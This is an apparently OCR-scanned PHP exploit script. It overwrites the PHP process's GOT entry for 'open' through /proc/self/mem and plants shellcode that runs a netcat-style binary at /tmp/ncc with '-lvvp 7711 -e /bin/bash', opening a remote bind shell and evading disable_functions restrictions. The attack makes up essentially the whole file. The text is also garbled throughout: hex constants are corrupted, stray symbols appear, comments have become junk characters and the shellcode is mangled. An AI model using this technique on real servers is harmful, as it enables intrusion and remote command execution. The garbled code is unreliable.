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<?php /***
ES
* BUG X IETF I % 7
* @author
* @email xiaozeend@pm.me *
*/
$path="/tmp/ncc";

$args = " -1lvvp 7711 -e /bin/bash";
/**

section tables type

*/

define('SHT_NULL',9);



define('SHT _PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);

define('SHT _RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);

//why does section tables have so many fuck
define('SHT_GNU_HASH',ox6ffffff6);
define('SHT_GNU_versym',ox6fffffff);
define('SHT_GNU_verneed',ox6ffffffe);

class elf{
private $elf bin;
private $strtab_section=array();
private $rel plt section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel plts=array();
public function getElfBin()

return $this->elf_bin;

type



}
public function setElfBin($elf_bin)

$this->elf bin = fopen($elf _bin,"rb");
}

public function unp($value)

return hexdec(bin2hex(strrev($value)));

}
public function get($start,$len){

fseek($this->elf _bin,$start);
$data=fread ($this->elf bin,$len);
rewind($this->elf bin);
return $this->unp($data);
}
public function get section($elf bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=%$this->get(0x3e,2);
for ($i=0;%$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=



array(
"strtab_offset'=>$this->get($this-
>elf shoff+$i*$this->elf shentsize+24,8),
"strtab_size'=>$this->strtab_size=$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+32,8)
)

break;

case SHT_RELA:
$this->rel plt section[$i]=
array(
'rel_plt offset'=>$this->get($this-
>elf shoff+$i*$this->elf shentsize+24,8),
"rel_plt_size'=>$this->strtab_size=%$this->get($this-
>elf_shoff+$i*$this->elf_shentsize+32,8),
'rel plt_entsize'=>$this->get($this-
>elf shoff+$i*$this->elf shentsize+56,8)
)
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
"dynsym_offset'=>$this->get($this-
>elf shoff+$i*$this->elf shentsize+24,8),
"dynsym_size'=>$this->strtab_size=$this->get($this-
>elf shoff+$i*$this->elf _shentsize+32,8),
"dynsym_entsize'=>$this->get($this-
>elf shoff+$i*$this->elf shentsize+56,8)
)



//

break;

case SHT_NULL:

case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:

case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:

break;

default:

"

echo "who knows what $sh_type this is? “;

}
public function get reloc(){

$rel plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel plt_section as $rel plt ){
for ($i=%$rel plt['rel plt offset'];
$i<$rel plt['rel plt offset']+$rel plt['rel plt size'];
$i+=%$rel plt['rel plt entsize'])



$rel_offset=$this->get(%$i,8);

$rel_info=%$this->get($i+8,8)>>32;

$fun_name_offset=$this-
>get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'

1,4);

$fun_name_offset=$strtab_section['strtab_offset']+$fun_name offset-1;
$fun_name="";
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));

}
$rel plts[$fun_name]=$rel offset;

}
$this->rel_plts=$rel plts;
}
public function get shared library($elf bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for
($i=%dynsym_section['dynsym_offset']+$dynsym_section[ 'dynsym _entsize'];
$i<$dynsym_section[ 'dynsym_offset']+$dynsym_section['dynsym size'];

$i+=$dynsym_section['dynsym_entsize'])

$shared_library_offset=$this->get($i+8,8);



$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name="";
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared _librarys[$fun_name]=$shared library offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){

fclose($this->elf_bin);

public function __destruct()

{
$this->close();

}
public function packlli($value) {

$higher = ($value & oOxffffffffoo000000) >> 32;
$lower = $value & OxPOVOOLOOffffIfff;
return pack('v2', $lower, $higher);
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$test=new elf();

$test->get_section('/proc/self/exe');

$test->get _reloc();

$open_php=%$test->rel plts['open'];

$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/"', $maps, $stack);
echo "Stack location: ".$stack[1]."\n";

$pie_base = hexdec("0x".(explode('-"', $maps)[9]));

echo "PIE base: ".$pie_base."\n";
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$mem = fopen('/proc/self/mem', 'wb');
$shellcode_loc = $pie_base + 0x2333; fseek($mem, $open_php);
fwrite($mem, $test->packlli($shellcode loc));
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push 0x39

pop eax

syscall

test eax, eax
jne ©6x31

push 0x70

pop eax

syscall

push 0x39

pop eax

syscall

test eax, eax

jne 0x31
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mov rdi, Oxffffffffffffffff ; filename

mov rsi,

oxfFFFFFFFFFFFFFfff ; argy

xor edx, edx

push Ox3b

pop eax
syscall

ret

push 7]

pop edi

push 0x3c

pop eax

syscall
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$stack=hexdec("0x".$stack[1]);

fseek($mem, $stack);

fwrite($mem, "{$path}\xe0");

$filename _ptr = $stack;

BANIXBERGHERRIMI, ASEIFERITRIEGRMIE, REERFX Mt $filename_ptr
HHNSHHINS:

$stack += strlen($path) + 1;
fseek($mem, $stack);

fwrite($mem, str_replace("” ", "\x00", $args) . "\x00");
$str_ptr = $stack;
$argv_ptr = $arg _ptr = $stack + strlen($args) + 1;

foreach(explode('

, $args) as $arg) {
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[EREBAIFEERITHIX



fseek($mem, $arg_ptr);
fwrite($mem, $test->packlli($str_ptr));
$arg ptr += 8;
$str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg ptr);
fwrite($mem, $test->packlli(oxe0));
echo "Argv: " . $args . "\n";

echo "ELF PATH $path\n";

X, RIBEEEFHENFAET, ETREGOTERopen BHIEHMAIBL, BRERN—FHRIN— P TSTRITHE Sshellcode_loc =
$pie_base + 0x2333; 5 AFHAIAYshellcode:

$shellcode = "shellcodef] 3", $test->packlli($filename_ptr) ."shellcoded] 3£ " .$test->packlli($argv_ptr) ."shellcodef]L}
"

fseek($mem, $shellcode_loc);

fwrite($mem, $shellcode);
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readfile('email->xiaozeend@pm.me', 'r');
echo "DONE\n";

exit();
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